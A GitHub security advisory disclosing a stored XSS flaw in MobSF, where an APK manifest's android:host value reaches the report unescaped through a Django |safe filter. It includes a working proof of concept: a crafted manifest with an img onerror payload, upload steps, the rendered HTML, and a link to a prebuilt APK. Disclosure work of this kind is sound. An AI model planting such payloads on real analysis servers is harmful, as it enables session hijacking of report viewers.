GHSA-8hf7-h89p-3pqj

### Summary A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The `android:host` attribute from `<data android:scheme="android_secret_code">` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.

### Details When MobSF analyzes an Android APK containing a `<data>` element with `android:scheme="android_secret_code"`, it extracts the `android:host` attribute and inserts it directly into the analysis report without HTML escaping.

### Vulnerable Code Path

**1. Data Extraction** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 776): ```python xmlhost = data.getAttribute(f'{ns}:host') ret_list.append(('dialer_code_found', (xmlhost,), ())) ```

**2. Template String Formatting** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 806): ```python 'title': a_template['title'] % t_name, # XSS payload inserted here unescaped ```

**3. Template Definition** - `mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py` (line 200): ```python 'dialer_code_found': { 'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]', ... } ```

**4. Unsafe Rendering** - `mobsf/templates/static_analysis/android_binary_analysis.html` (line 1143): ```html {{item|key:"title" | safe}} ```

The `|safe` Django template filter bypasses auto-escaping, allowing the unescaped `android:host` value to be rendered as raw HTML.

### PoC

### Step 1: Create Malicious APK

Create an APK with the following `AndroidManifest.xml`:

```xml <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.poc.xsstest" android:versionCode="1" android:versionName="1.0">

<application android:label="XSS PoC Test"> <receiver android:name=".SecretCodeReceiver" android:exported="true"> <intent-filter> <action android:name="android.provider.Telephony.SECRET_CODE"/> <data android:scheme="android_secret_code" android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/> </intent-filter> </receiver> </application> </manifest> ```

### Step 2: Build the APK

Use apktool or Android build tools to create a valid APK with this manifest.

### Step 3: Upload to MobSF

Upload the malicious APK to MobSF for static analysis.

### Step 4: Trigger XSS

View the static analysis report in a browser. The JavaScript payload executes automatically.

### Confirmed HTML Output

```html <td> Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="android_secret_code"] </td> ```

### PoC APK Details

| Field | Value | |-------|-------| | **Filename** | `POC_XSS_APK.apk ` | | **MD5 Hash** | `647258656ed03a7e6a0f2acce4ec6a5b` | | **Location** | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |

### Impact

This is a **Stored Cross-site Scripting (XSS)** vulnerability affecting all MobSF users who analyze the results of the malicious APK file.

### Attack Scenario

1. Attacker crafts a malicious APK with XSS payload in the manifest 2. Attacker submits APK to a shared MobSF instance or private mobsf instance. 3. When any user views the analysis report, the XSS payload executes in their browser

<img width="1435" height="675" alt="Screenshot 2026-01-15 at 12 24 29 AM" src="https://github.com/user-attachments/assets/e282a0b2-236e-4199-a7ce-b96017cc7052" />

Tested in MobSF Public Instance as well. https://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/

<img width="1440" height="780" alt="Screenshot 2026-01-15 at 12 24 57 AM" src="https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e" />